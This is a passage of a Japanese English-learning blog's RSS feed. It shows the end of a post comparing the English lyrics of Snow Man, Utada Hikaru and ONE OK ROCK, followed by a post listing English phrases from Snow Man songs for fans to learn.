<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color"><span style="text-decoration: underline;">海外のソングライターやプロデューサーと共作</span></mark></strong><br>ボーカルのTakaの発音は英語圏でも通じやすいと言われ、ライブやフェスではネイティブに近いサウンドで歌える日本人バンドとして評価されていますが、海外のアーティストたちと共作しています。そのため、英語詞の曲は海外ロックの文法・言い回しを踏襲し、表面的には世界基準に聞こえます。世界的に流行している言い回しやスラングを即導入できる。流行りの洋楽っぽさをそのまま再現可能できるのが強みです。</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color"><span style="text-decoration: underline;">マーケティング力</span></mark></strong><br>海外フェスやSpotifyなどの配信サービスのグローバル プレイリストにのせるための戦略を打てるマーケティング力も備えています。楽曲そのものだけでなく見せ方にも投資でき、世界市場を見据えて英語詞のクオリティを担保できる潤沢な資金があります。さらに、レーベルの後押しもあり、制作体制そのものが世界仕様。また、羽生結弦などのスポーツ選手、佐藤健をはじめとする芸能界の友人、大物アーティストがファンと公言しているのもマーケティング力になっています。<br><br><strong><span style="text-decoration: underline;">実際の口コミ</span></strong><br>英語歌詞には自然な部分と、急に不自然な部分が混ざっていると指摘する声があります。歌詞の中に翻訳調や借り物感が混じるため、純度の高さを感じにくいためです。また、<br>親の七光り感も否めません。Takaはジャニーズ出身で、さらに芸能一家の二世。本人は実力をつけて海外で活躍しているものの、最初から環境に恵まれていたという事実は消せないでしょう。</p>



<p style="font-size:16px"></p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">3. 上記３者の違い</h4>
</ul>


<table style="border-collapse: collapse; width: 100%; height: 206px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; height: 46px; vertical-align: middle; text-align: center;"><strong>アーチスト</strong></td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; height: 46px; vertical-align: middle; text-align: center;"><strong>特徴</strong></td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 44px; background-color: #ffe3e3;"><strong>Snow Man</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 44px;">国内ファン向けの和製英語タイプ。英語は“雰囲気要素”。最近では、海外進出を本格的に始動し、近々本格的な英語の歌を披露するかも?!</td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 58px; background-color: #ffe3e3;"><strong>宇多田ヒカル</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 58px; vertical-align: middle;">自身でシンプルかつ母語レベルの自然な英語詞を書ける。センスで英語詞を成立させる、純粋なオリジナル</td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 58px; background-color: #ffe3e3;"><strong>ONE OK ROCK</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 58px; vertical-align: middle;">海外展開前提で英語詞はネイティブ作家と共作。「七光り＋資金＋ゴースト疑惑」が付きまとう</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:171px;height:auto"/></figure>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&amp;linkname=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2025%2F10%2F08%2Fjpop-english-lyrics-weird%2F&#038;title=%E3%81%AA%E3%81%9C%E6%97%A5%E6%9C%AC%E3%81%AE%E8%8B%B1%E8%AA%9E%E6%AD%8C%E8%A9%9E%E3%81%AF%E4%B8%8D%E8%87%AA%E7%84%B6%E3%81%AB%E8%81%9E%E3%81%93%E3%81%88%E3%82%8B%E3%81%AE%E3%81%8B%E2%94%80%E2%94%80Snow%20Man%E3%81%A7%E8%A6%8B%E3%82%8BJ-POP%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%8F%BE%E5%9C%A8%E5%9C%B0" data-a2a-url="https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/" data-a2a-title="なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地"></a></p>The post <a href="https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/">なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/01/11/ren5/' title='「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4858</post-id>	</item>
		<item>
		<title>Snow Man 英語で学ぶフレーズ完全ガイド｜推し活英会話の入口</title>
		<link>https://ffeng.jp/2025/09/28/snow-man/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sun, 28 Sep 2025 14:45:02 +0000</pubDate>
				<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[ホットトピック]]></category>
		<category><![CDATA[注目コラム]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[Snow Man]]></category>
		<category><![CDATA[SNS]]></category>
		<category><![CDATA[アイドル]]></category>
		<category><![CDATA[スノーマン]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[フレーズ]]></category>
		<category><![CDATA[ラウール]]></category>
		<category><![CDATA[佐久間大介]]></category>
		<category><![CDATA[向井康二]]></category>
		<category><![CDATA[和訳]]></category>
		<category><![CDATA[宮舘涼太]]></category>
		<category><![CDATA[岩本照]]></category>
		<category><![CDATA[推し活]]></category>
		<category><![CDATA[歌詞]]></category>
		<category><![CDATA[深澤辰也]]></category>
		<category><![CDATA[渡辺翔太]]></category>
		<category><![CDATA[目黒蓮]]></category>
		<category><![CDATA[英会話]]></category>
		<category><![CDATA[阿部亮平]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=4836</guid>

					<description><![CDATA[<p>Snow Manは、日本を代表するアイドルグループ <a class="mh-excerpt-more" href="https://ffeng.jp/2025/09/28/snow-man/" title="Snow Man 英語で学ぶフレーズ完全ガイド｜推し活英会話の入口">[...]</a></p>
The post <a href="https://ffeng.jp/2025/09/28/snow-man/">Snow Man 英語で学ぶフレーズ完全ガイド｜推し活英会話の入口</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/03/05/juicy/' title='Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/VtEsnIS3SNc?si=oHqkMdAMt9i-sV1t" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/04/20/kissinmylips/' title='Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://post.tv-asahi.co.jp/post-131170/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/24/yunggravy_supagood/' title='ヤング・グレイヴィー『SUPA GOOD!!!』　和訳'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.livenation.co.jp/yung-gravy-tickets-adp1115822" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p><strong>Snow Man</strong>は、日本を代表するアイドルグループでありながら、海外からも注目されています。彼らの楽曲には英語フレーズが多く盛り込まれており、キャッチーな響きでファンを魅了するだけでなく、英語学習の題材としても楽しめます。</p>



<p>この記事では、<strong>Snow Man</strong>の楽曲に登場する英語表現を「テーマごと」に、そして歌詞の和訳や実際に使える英語フレーズをリンク先でじっくり学んでみましょう。</p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519"/></figure>



<h2 class="wp-block-heading">Snow Manと英語の関係</h2>



<p><strong>Snow Man</strong>の楽曲は英語学習に向いていると言えるのは以下の理由です。</p>



<ul class="wp-block-list">
<li><strong>英語フレーズが豊富</strong>：「<strong>JUICY</strong>」「<strong>KISSIN’ MY LIPS</strong>」など、タイトルそのものが英語。</li>



<li><strong>世界を意識した楽曲展開</strong>：海外の音楽番組出演などグローバル志向。</li>



<li><strong>推し活英語に応用できる</strong>：歌詞をヒントにファンレターやSNSで使える。</li>
</ul>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519"/></figure>



<h2 class="wp-block-heading">英語フレーズが豊富な代表曲</h2>



<ul class="wp-block-list">
<li><strong>JUICY</strong><br>ポップでキャッチーな英語が散りばめられた楽曲。<br>詳しくはこちら：<strong><a href="https://ffeng.jp/2025/03/05/juicy/#google_vignette" target="_blank" rel="noopener" title=""><mark style="background-color:#ffd5e0" class="has-inline-color"><span style="text-decoration: underline;">Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞</span></mark></a></strong><br><br></li>



<li><strong>カリスマックス</strong><br>力強い自己表現を英語で伝える楽曲。<br>詳しくはこちら：<strong><a href="https://ffeng.jp/2025/09/01/snowmaan_charismax/" target="_blank" rel="noopener" title=""><mark style="background-color:#ffd5e0" class="has-inline-color"><span style="text-decoration: underline;">Snow Man『カリスマックス』和訳　韓国で披露した英語版歌詞も掲載！</span></mark></a></strong><br><br></li>



<li><strong>KISSIN’ MY LIPS</strong><br>恋愛フレーズがそのまま英語で登場。<br>詳しくはこちら：<strong><a href="https://ffeng.jp/2025/04/20/kissinmylips/" target="_blank" rel="noopener" title=""><mark style="background-color:#ffd5e0" class="has-inline-color"><span style="text-decoration: underline;">Snow Man 『KISSIN’ MY LIPS』和訳。セクシーな恋の駆け引き</span></mark></a></strong><br><br></li>



<li><strong>Empire</strong><br>スケール感のある英語ワードで世界観を広げる。<br>詳しくはこちら：<a href="https://ffeng.jp/2024/08/23/snowmanempire/" target="_blank" rel="noopener" title=""><mark style="background-color:#ffd5e0" class="has-inline-color"><strong><span style="text-decoration: underline;">Snow Man 「EMPIRE」和訳　壮大でカッコ良すぎるミュージックビデオ</span></strong></mark></a><br><br></li>



<li><strong>リンディララ</strong><br>遊び心とリズム感のある英語表現。<br>詳しくはこちら：<strong><a href="https://ffeng.jp/2025/01/12/lindy/" title=""><mark style="background-color:#ffd5e0" class="has-inline-color"><span style="text-decoration: underline;">Snow Manリンディーララ 歌詞 訳してみた。切ない片思い</span></mark></a></strong></li>
</ul>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519"/></figure>



<h2 class="wp-block-heading">英語表現が少ない楽曲</h2>



<p><strong>Snow Man</strong>には英語が控えめな楽曲もあります。</p>



<p><strong>Grandeur ／ Secret Touch ／ HELLO HELLO ／ D.D. ／ オレンジKiss ／ Tapestry ／ W ／ ナミダの海を越えて行け ／ Super Deeper</strong></p>



<p>これらは英語表現は少なめですが、<strong>Snow Man</strong>の音楽の幅を知るうえでは大切な楽曲です。</p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519"/></figure>



<h2 class="wp-block-heading">推し活で使える英語フレーズ</h2>



<p><strong>Snow Man</strong>の楽曲をきっかけに学んだ英語は、推し活にも活かせます。</p>



<ul class="wp-block-list">
<li>ファンレター: “Y<strong>our music always inspires me.</strong>”（あなたの音楽はいつも私を励ましてくれる）</li>



<li>SNS: “<strong>This performance was epic!</strong>”（このパフォーマンスは最高だった）</li>



<li>ライブ: <strong>“We are always with you.</strong>”（いつもそばにいるよ）</li>
</ul>



<p>詳しくはこちら：<br><strong><a href="https://ffeng.jp/2024/09/01/ren_ganbatte/" target="_blank" rel="noopener" title=""><mark style="background-color:#ffd5e0" class="has-inline-color has-black-color"><span style="text-decoration: underline;">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></mark></a><mark style="background-color:#ffd5e0" class="has-inline-color"><br></mark></strong><br><strong><a href="https://ffeng.jp/2024/06/01/uminohajimari/" target="_blank" rel="noopener" title=""><mark style="background-color:#ffd5e0" class="has-inline-color has-black-color"><span style="text-decoration: underline;">【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</span></mark></a></strong></p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519"/></figure>



<h2 class="wp-block-heading">Snow Manと英語を学ぶ楽しさ</h2>



<p><strong>Snow Man</strong>の楽曲には、自然な英語もあれば歌詞ならではの表現もあります。<br>正しい英語を学びたい方は個別記事でチェックしながら、自分の推し活や英語学習に取り入れてみてくださいね。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:234px;height:auto"/></figure>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F09%2F28%2Fsnow-man%2F&amp;linkname=Snow%20Man%20%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89%EF%BD%9C%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E4%BC%9A%E8%A9%B1%E3%81%AE%E5%85%A5%E5%8F%A3" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F09%2F28%2Fsnow-man%2F&amp;linkname=Snow%20Man%20%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89%EF%BD%9C%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E4%BC%9A%E8%A9%B1%E3%81%AE%E5%85%A5%E5%8F%A3" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F09%2F28%2Fsnow-man%2F&amp;linkname=Snow%20Man%20%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89%EF%BD%9C%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E4%BC%9A%E8%A9%B1%E3%81%AE%E5%85%A5%E5%8F%A3" 